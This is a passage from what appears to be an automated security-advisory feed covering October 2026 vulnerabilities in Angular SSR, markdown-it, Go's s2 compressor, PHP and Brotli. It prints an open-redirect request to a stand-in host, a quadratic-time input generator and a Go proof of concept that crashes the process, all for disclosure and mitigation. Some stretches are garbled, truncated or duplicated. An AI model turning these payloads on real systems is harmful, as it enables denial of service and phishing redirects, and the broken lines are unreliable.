* **Bypasses Application-Level Guards:** Common application-level validation routines (such as checking `!returnUrl.startsWith('//')` before invoking `router.navigateByUrl`) accept `/.//evil.test` or `/.;/(//evil.test)` as a safe relative path, allowing attackers to bypass redirect allowlists.
* **Client-side SPAs Unaffected:** Pure client-side Angular applications (Single Page Applications without SSR) are **not** vulnerable, as `ServerPlatformLocation` is only utilized in server-side execution environments.

### Attack Preconditions & Vulnerable Configurations

An application is affected if the following conditions are met:

* **SSR Enabled:** The application runs in a Server-Side Rendering environment using `@angular/platform-server` and `@angular/ssr`.
* **Parameter Route Shapes:** The router contains parameter routes with wildcard or child segments (e.g. `/:tenant` matching `.` and serializing secondary outlet groups `(//evil.test)` to `/.//evil.test`), or passes user-provided navigation targets (e.g. `returnUrl`).
* **Reverse Proxy Passthrough:** Upstream reverse proxies (Nginx, Cloudflare, ALB) pass semicolons (`;`) or dot-segments without stripping or normalizing them.

#### Exploit Payload Example

An attacker sends a request targeting a route with parameters and child segments:

```http
GET /.;/(//evil.test) HTTP/1.1
Host: example.com
```

**Response:**
```http
HTTP/1.1 302 Found
Location: //evil.test
```

The client browser resolves `//evil.test` protocol-relatively and redirects the user away from `example.com` to `evil.test`.

### Patches

The issue is resolved by updating `resolveUrl` (and `parseUrl` in v20) in `@angular/platform-server` to verify that the normalized URL pathname does not start with `//` when `allowProtocolRelative` is `false`.

* `22.2.1`
* `21.2.25`
* `20.3.33`

### Workarounds & Mitigations

If you cannot immediately upgrade to a patched version, apply one of the following mitigations at your edge reverse proxy or WAF:

1. **Reject Paths with Dot-Segments Followed by Slashes:**
 Configure your reverse proxy (e.g., Nginx, Cloudflare, AWS WAF) to block requests containing `/.//`, `/..//`, or `/.;/`:
 ```nginx
 # Nginx example: reject suspicious path normalization sequences
 if ($request_uri ~* "(\n/\.\/|\/\.\;)") {
 return 400;
 }
 ```
2. **Sanitize Redirect Headers:**
 Ensure edge proxies or API gateways rewrite or disallow protocol-relative (`//`) `Location` response headers originating from the SSR upstream.

Affected package ranges reported by GitHub:
@angular/platform-server: >= 22.0.0, < 22.2.1
@angular/platform-server: >= 21.0.0, < 21.2.25
@angular/platform-server: >= 20.0.0, < 20.3.33
@angular/platform-server: <= 19.2.25
Action: GitHub lists first patched versions: @angular/platform-server: 22.2.1; @angular/platform-server: 21.2.25; @angular/platform-server: 20.3.33. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### markdown-it: Quadratic complexity in smartquotes with unmatched closing quotes
https://kevwire.com/record/CVE-2026-111759
markdown-it: Quadratic complexity in smartquotes with unmatched closing quotes (Oct 20, 2026).
When `typographer: true` is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.

Many opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-r7fv-28h4-cvq7).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111759&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-r7fv-28h4-cvq7: https://github.com/advisories/GHSA-r7fv-28h4-cvq7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-111759: https://nvd.nist.gov/vuln/detail/CVE-2026-111759
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111759&date=2026-10-25
### Impact

When `typographer: true` is enabled, specially crafted Markdown can cause quadratic processing time in the smartquotes rule, potentially leading to denial of service in applications processing untrusted input.

Many opening double quotes followed by unmatched closing single quotes cause repeated scans of the entire opener stack. The same issue occurs with the quote types reversed.

The default configuration (`typographer: false`) is not affected, but this option is enabled with high probability.

### Reproduction

```js
import MarkdownIt from 'markdown-it'
import { performance } from 'node:perf_hooks'

const md = new MarkdownIt({ typographer: true })

for (const k of [2000, 4000, 8000, 16000, 32000]) {
 const input = '"a '.repeat(k) + "b' ".repeat(k)
 const start = performance.now()
 md.render(input)
 console.log(input.length, (performance.now() - start).toFixed(1), 'ms')
}
```

Result:

|input size|time|
|-|-|
|12000|18ms|
|24000|47ms|
|48000|115ms|
|96000|428ms|
|192000|1586ms|

### Patches

Fixed in **15.0.2** and **14.3.2**.

### Workarounds

Disable typography with `typographer: false`, or disable only the smartquotes rule:

```js
md.disable('smartquotes')
```

Affected package ranges reported by GitHub:
markdown-it: >= 15.0.0, < 15.0.2
markdown-it: < 14.3.2
Action: GitHub lists first patched versions: markdown-it: 15.0.2; markdown-it: 14.3.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress
https://kevwire.com/record/CVE-2026-63209
Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress (Oct 20, 2026).
A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.

- **Name:** `github.com/klauspost/compress/s2`
- **Ecosystem:** Go
- **Affected versions:** len(dict) {
 return nil
}
```
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-259r-337f-4rfw).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-63209&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-259r-337f-4rfw: https://github.com/advisories/GHSA-259r-337f-4rfw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-63209&date=2026-10-25
# Signed Integer Overflow in s2.NewDict

## Summary

A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.

## Package

- **Name:** `github.com/klauspost/compress/s2`
- **Ecosystem:** Go
- **Affected versions:** len(dict) {
 return nil
}
```

When `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:

```go
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
```

`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:

```go
func Load32[I Indexer](b []byte, i I) uint32 {
 return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
```

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

## PoC

```go
package main

import (
 "encoding/binary"
 "fmt"
 "github.com/klauspost/compress/s2"
)

func main() {
 var dictData []byte
 buf := make([]byte, binary.MaxVarintLen64)
 n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
 dictData = append(dictData, buf[:n]...)
 dictData = append(dictData, make([]byte, 16)...) // minimum dict size

 dict := s2.NewDict(dictData)
 // dict is non-nil despite invalid repeat value (overflow bypassed validation)

 src := make([]byte, 64)
 for i := range src { src[i] = byte(i) }
 dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
```

## Impact

- **Denial of Service:** The process crashes immediately with SIGSEGV

## Attack Vector

Any application that:
1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`
2. Calls `Dict.Encode()` on any data ≥32 bytes

## Suggested Fix

Validate the uvarint value before converting to int:

```go
if r > math.MaxInt64 {
 return nil
}
d.repeat = int(r)
```

Or use `uint` for the repeat field and validate against `uint(len(dict))`.

## References

- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)
- Commit: 539243b (v1.18.6 + 4 commits)

## Credits
Christopher Linke / https://github.com/celinke97/

Affected package ranges reported by GitHub:
github.com/klauspost/compress: <= 1.18.6
Action: GitHub lists first patched versions: github.com/klauspost/compress: 1.18.7. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert
https://kevwire.com/record/CVE-2026-109618
PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert (Oct 22, 2026).
The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.

 Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.

 Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.

 Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. 

 The disruption put the National Security Agency and Europe's cybersecurity agency on alert.

 State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.

 What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery "one of the most impactful security issues in recent memory."

 "To our knowledge, frontier AI found these vulnerabilities before attackers did," OpenAI said.

 The cybersecurity firm Wiz wrote in a blog post : "These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history."

 Read more below. 

 What is PHP?

 You've probably never heard of PHP, even though you've interacted with it for decades.

 PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.

 It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.

 It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. 

 How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.

 What was the PHP vulnera
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109618).
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109618&date=2026-10-25).
Sources:
Axios: Black October: why bugs discovered by OpenAI tech are creating a cyber emergency: https://www.axios.com/2026/10/22/php-vulnerability-security-update-websites
Axios syndication feed: https://api.axios.com/feed/
NVD CVE-2026-109618: https://nvd.nist.gov/vuln/detail/CVE-2026-109618
Vendor advisory (via NVD references): https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
JPCERT/CC Japan Advisories: Security alert: Multiple vulnerabilities in PHP (CVE-2026-109618, CVE-2026-109619) (updated): https://www.jpcert.or.jp/at/2026/at260033.html
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The Hacker News: PHP2Shell Exploit Attempts Hit Millions as Attackers Try to Deploy Mirai Malware: https://thehackernews.com/2026/10/php2shell-exploit-attempts-hit-millions.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
The Hacker News: PHP2Shell Exploitation Attempts Continue Amid Suspected N. Korea Global Scanning Activity: https://thehackernews.com/2026/10/php2shell-exploitation-hits-government.html
The Hacker News: Someone Tried to Exploit PHP2Shell 4 Days Before the Vulnerabilities Were Publicly Disclosed: https://thehackernews.com/2026/10/someone-tried-to-exploit-php2shell-4.html
The Hacker News: PHP Issues Emergency Patches for Two Critical PHP2Shell RCE Flaws as Exploit Attempts Emerge: https://thehackernews.com/2026/10/php-issues-emergency-patches-for-two.html
The Hacker News: PHP2Shell: What Actually Protects You Before the 14:00 UTC PHP RCE Patch, and What Doesn't: https://thehackernews.com/2026/10/php2shell-what-actually-protects-you.html
The Hacker News: PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert: https://thehackernews.com/2026/10/php2shell-two-unpatched-critical-php.html
SecurityWeek: Industrial Vendors Check Products for PHP2Shell Vulnerabilities: https://www.securityweek.com/industrial-vendors-check-products-for-php2shell-vulnerabilities/
SecurityWeek syndication feed: https://www.securityweek.com/feed/
SecurityWeek: PHP2Shell Exploitation Moves From Probes to Working Shells: https://www.securityweek.com/php2shell-exploitation-moves-from-probes-to-working-shells/
SecurityWeek: Mirai Botnet Operators Join PHP2Shell Attacks as ASLR Bypass Exploits Emerge: https://www.securityweek.com/mirai-botnet-operators-join-php2shell-attacks-as-aslr-bypass-exploits-emerge/
The Record (Recorded Future News): Reports of PHP bug exploitation attempts grow as experts downplay viability of exploits: https://therecord.media/php-php2shell-exploitation-attempts-pocs
The Record (Recorded Future News) syndication feed: https://therecord.media/feed
WIRED Security: Hackers Exploited the PHP Vulnerabilities Days Before They Were Patched: https://www.wired.com/story/hackers-exploited-the-php-vulnerabilities-days-before-they-were-patched/
WIRED Security syndication feed: https://www.wired.com/feed/category/security/latest/rss
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109618&date=2026-10-25
The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.

 Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.

 Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.

 Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. 

 The disruption put the National Security Agency and Europe's cybersecurity agency on alert.

 State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.

 What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery "one of the most impactful security issues in recent memory."

 "To our knowledge, frontier AI found these vulnerabilities before attackers did," OpenAI said.

 The cybersecurity firm Wiz wrote in a blog post : "These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history."

 Read more below. 

 What is PHP?

 You've probably never heard of PHP, even though you've interacted with it for decades.

 PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.

 It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.

 It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. 

 How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.

 What was the PHP vulnerability, exactly?

 AI researchers discovered two critical vulnerabilities in PHP that could allow an attacker to take control of a website's server without having legitimate access to it.

 Hackers could exploit the flaws, dubbed " php2shell " by cybersecurity firms, to steal information from those websites.

 Between the lines: The flaws went undetected for more than a decade because exploiting them required complex technical work that AI helped researchers discover, per Wiz.

 Why cybersecurity incidents are a big deal

 Thought bubble via Axios' Bradley Olson : The PHP vulnerabilities are so serious that the NSA warned website operators to take their sites down if they didn't have enough time to patch the bug.

 But the cybersecurity problems in recent days have extended far beyond that and include disruptions to developer platforms, data leaks on public schools, break-ins at public companies and more.

 A major Axios scoop also revealed that banks are detecting unauthorized third-party agent access inside customer accounts, a problem they are racing to contain.

 Cyber pros are calling the series of attacks "Black October" due to the sheer volume and the level of risk, although so far many organizations have mitigated the risk and avoided massive real-world harm.

 While defenders and AI companies have warned for months that a season of cyber emergencies would imminently arrive, they have also been working to secure some of the obscure software that still underpins much of the modern internet ecosystem.

 The bottom line: As attacks continue, experts have urged users to secure passwords, use a password manager and also to avoid panic.

 As with any cyber emergency, the true barometer of harm is the extent to which damage seeps into the real world, as it has done with ransomware that took hospital software offline or a pipeline system that disrupted fuel supplies briefly on the East Coast.

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Japan, Global; provenance: pipeline.
KEV evidence not available.

### PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert
https://kevwire.com/record/CVE-2026-109619
PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert (Oct 22, 2026).
The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.

 Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.

 Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.

 Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. 

 The disruption put the National Security Agency and Europe's cybersecurity agency on alert.

 State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.

 What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery "one of the most impactful security issues in recent memory."

 "To our knowledge, frontier AI found these vulnerabilities before attackers did," OpenAI said.

 The cybersecurity firm Wiz wrote in a blog post : "These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history."

 Read more below. 

 What is PHP?

 You've probably never heard of PHP, even though you've interacted with it for decades.

 PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.

 It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.

 It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. 

 How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.

 What was the PHP vulnera
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109619).
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109619&date=2026-10-25).
Sources:
Axios: Black October: why bugs discovered by OpenAI tech are creating a cyber emergency: https://www.axios.com/2026/10/22/php-vulnerability-security-update-websites
Axios syndication feed: https://api.axios.com/feed/
NVD CVE-2026-109619: https://nvd.nist.gov/vuln/detail/CVE-2026-109619
Vendor advisory (via NVD references): https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
JPCERT/CC Japan Advisories: Security alert: Multiple vulnerabilities in PHP (CVE-2026-109618, CVE-2026-109619) (updated): https://www.jpcert.or.jp/at/2026/at260033.html
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The Hacker News: PHP2Shell Exploit Attempts Hit Millions as Attackers Try to Deploy Mirai Malware: https://thehackernews.com/2026/10/php2shell-exploit-attempts-hit-millions.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
The Hacker News: PHP2Shell Exploitation Attempts Continue Amid Suspected N. Korea Global Scanning Activity: https://thehackernews.com/2026/10/php2shell-exploitation-hits-government.html
The Hacker News: Someone Tried to Exploit PHP2Shell 4 Days Before the Vulnerabilities Were Publicly Disclosed: https://thehackernews.com/2026/10/someone-tried-to-exploit-php2shell-4.html
The Hacker News: PHP Issues Emergency Patches for Two Critical PHP2Shell RCE Flaws as Exploit Attempts Emerge: https://thehackernews.com/2026/10/php-issues-emergency-patches-for-two.html
The Hacker News: PHP2Shell: What Actually Protects You Before the 14:00 UTC PHP RCE Patch, and What Doesn't: https://thehackernews.com/2026/10/php2shell-what-actually-protects-you.html
The Hacker News: PHP2Shell: Two Unpatched Critical PHP RCE Flaws (CVSS 9.2) Trigger Emergency Security Alert: https://thehackernews.com/2026/10/php2shell-two-unpatched-critical-php.html
SecurityWeek: Industrial Vendors Check Products for PHP2Shell Vulnerabilities: https://www.securityweek.com/industrial-vendors-check-products-for-php2shell-vulnerabilities/
SecurityWeek syndication feed: https://www.securityweek.com/feed/
SecurityWeek: PHP2Shell Exploitation Moves From Probes to Working Shells: https://www.securityweek.com/php2shell-exploitation-moves-from-probes-to-working-shells/
SecurityWeek: Mirai Botnet Operators Join PHP2Shell Attacks as ASLR Bypass Exploits Emerge: https://www.securityweek.com/mirai-botnet-operators-join-php2shell-attacks-as-aslr-bypass-exploits-emerge/
The Record (Recorded Future News): Reports of PHP bug exploitation attempts grow as experts downplay viability of exploits: https://therecord.media/php-php2shell-exploitation-attempts-pocs
The Record (Recorded Future News) syndication feed: https://therecord.media/feed
WIRED Security: Hackers Exploited the PHP Vulnerabilities Days Before They Were Patched: https://www.wired.com/story/hackers-exploited-the-php-vulnerabilities-days-before-they-were-patched/
WIRED Security syndication feed: https://www.wired.com/feed/category/security/latest/rss
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109619&date=2026-10-25
The websites you use every day may have been vulnerable to hackers for years because of hidden flaws in their code that AI only recently discovered.

 Why it matters: The code, called PHP, powers millions of websites, and the vulnerabilities could allow hackers to steal sensitive data like your passwords or take control of affected servers.

 Driving the news: A potential attack exploiting flaws in PHP emerged on Wednesday, which prompted governments and companies to temporarily take their websites offline while they installed security patches.

 Dozens of websites in the U.S., U.K., and around the world were briefly taken offline to make the fix. 

 The disruption put the National Security Agency and Europe's cybersecurity agency on alert.

 State of play: Security patches were released to fix the issues on Oct. 21, 2026. Cybersecurity firms urged anyone using PHP to install the security updates immediately.

 What they're saying: OpenAI's technology helped find the bugs, and the company called the discovery "one of the most impactful security issues in recent memory."

 "To our knowledge, frontier AI found these vulnerabilities before attackers did," OpenAI said.

 The cybersecurity firm Wiz wrote in a blog post : "These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history."

 Read more below. 

 What is PHP?

 You've probably never heard of PHP, even though you've interacted with it for decades.

 PHP, which stands for Hypertext Preprocessor , is a programming language used by roughly 70% of websites whose server-side language is known.

 It has been around since the 1990s to help build websites, taking data and generating content sent to a browser.

 It's still used today for a variety of websites, including Wikipedia, WordPress blogs and shopping websites. 

 How it works: HTML determines what a website displays. PHP works behind the scenes to collect information and generate content.

 What was the PHP vulnerability, exactly?

 AI researchers discovered two critical vulnerabilities in PHP that could allow an attacker to take control of a website's server without having legitimate access to it.

 Hackers could exploit the flaws, dubbed " php2shell " by cybersecurity firms, to steal information from those websites.

 Between the lines: The flaws went undetected for more than a decade because exploiting them required complex technical work that AI helped researchers discover, per Wiz.

 Why cybersecurity incidents are a big deal

 Thought bubble via Axios' Bradley Olson : The PHP vulnerabilities are so serious that the NSA warned website operators to take their sites down if they didn't have enough time to patch the bug.

 But the cybersecurity problems in recent days have extended far beyond that and include disruptions to developer platforms, data leaks on public schools, break-ins at public companies and more.

 A major Axios scoop also revealed that banks are detecting unauthorized third-party agent access inside customer accounts, a problem they are racing to contain.

 Cyber pros are calling the series of attacks "Black October" due to the sheer volume and the level of risk, although so far many organizations have mitigated the risk and avoided massive real-world harm.

 While defenders and AI companies have warned for months that a season of cyber emergencies would imminently arrive, they have also been working to secure some of the obscure software that still underpins much of the modern internet ecosystem.

 The bottom line: As attacks continue, experts have urged users to secure passwords, use a password manager and also to avoid panic.

 As with any cyber emergency, the true barometer of harm is the extent to which damage seeps into the real world, as it has done with ransomware that took hospital software offline or a pipeline system that disrupted fuel supplies briefly on the East Coast.

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Check the vendor advisory linked from the article for affected versions and fixes.
Kind: vulnerability; regions: Japan, Global; provenance: pipeline.
KEV evidence not available.

### Researchers Demonstrate Node2Shell RCE Exploit on Node.js Build Using Crafted Brotli Data
https://kevwire.com/record/CVE-2026-111497
Researchers Demonstrate Node2Shell RCE Exploit on Node.js Build Using Crafted Brotli Data (Oct 22, 2026).
A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.





Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111497).
EPSS 32.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111497&date=2026-10-25).
Sources:
NVD CVE-2026-111497: https://nvd.nist.gov/vuln/detail/CVE-2026-111497
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
JPCERT/CC Japan Advisories: Security alert: Out-of-bounds write vulnerability in the C implementation of Brotli (CVE-2026-111497) (published): https://www.jpcert.or.jp/at/2026/at260034.html
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The Hacker News: Researchers Demonstrate Node2Shell RCE Exploit on Node.js Build Using Crafted Brotli Data: https://thehackernews.com/2026/10/researchers-demonstrate-node2shell-rce.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
The Hacker News: Brotli Decoder Flaw Behind Node.js RCE Also Affects Bun, Python and Other Widely Used Software: https://thehackernews.com/2026/10/brotli-decoder-flaw-behind-nodejs-rce.html
The Hacker News: PHP Issues Second Windows Security Update in Five Days to Fix Brotli Code Execution Flaw: https://thehackernews.com/2026/10/php-issues-second-windows-security.html
SecurityWeek: Node2Shell: Brotli Flaw Triggers Patching Across Microsoft, Node.js, Python Packages: https://www.securityweek.com/node2shell-brotli-flaw-triggers-patching-across-microsoft-node-js-python-packages/
SecurityWeek syndication feed: https://www.securityweek.com/feed/
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111497&date=2026-10-25
A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.





Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Japan, Global; provenance: pipeline.
KEV evidence not available.

### Security alert: Recent series of unauthorized access incidents at organizations in Japan (updated)
https://kevwire.com/record/jpcert-at260030-11ef2ef31a95
Security alert: Recent series of unauthorized access incidents at organizations in Japan (updated) (Oct 23, 2026).
Security alert: Recent series of unauthorized access incidents at organizations in Japan (updated). Original Japanese title: 注意喚起: 直近で相次いでいる国内組織における不正アクセスに関する注意喚起 (更新)
Sources:
JPCERT/CC Japan Advisories: Security alert: Recent series of unauthorized access incidents at organizations in Japan (updated): https://www.jpcert.or.jp/at/2026/at260030.html
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Multiple vulnerabilities in Next.js
https://kevwire.com/record/jpcert-wr261021-07df8e57f0f4
Weekly report: Multiple vulnerabilities in Next.js (Oct 21, 2026).
Weekly report: Multiple vulnerabilities in Next.js. Original Japanese title: Weekly Report: Next.jsに複数の脆弱性
Sources:
JPCERT/CC Japan Advisories: Weekly report: Multiple vulnerabilities in Next.js: https://www.jpcert.or.jp/wr/2026/wr261021.html#8
JPCERT/CC Japan Advisories syndication feed: https://www.jpcert.or.jp/rss/jpcert.rdf
The English title is KEVWire's pattern-and-glossary translation of the JPCERT/CC Japanese title, not an official JPCERT/CC translation. The feed supplies only a title, date, and any short excerpt; consult the linked advisory for affected versions and details.

Original Japanese feed excerpt: Next.jsに複数の脆弱性
Action: Consult the linked JPCERT/CC advisory for affected versions and the recommended action.
Kind: advisory; regions: Japan; provenance: pipeline.
KEV evidence not available.

### Weekly report: Multiple vulnerabilities in GitLab
https://kevwire.com/record/jpcert-wr261021-0bca214f4698
Weekly report: Multiple vulnerabilities in GitLab (Oct 21, 2026).
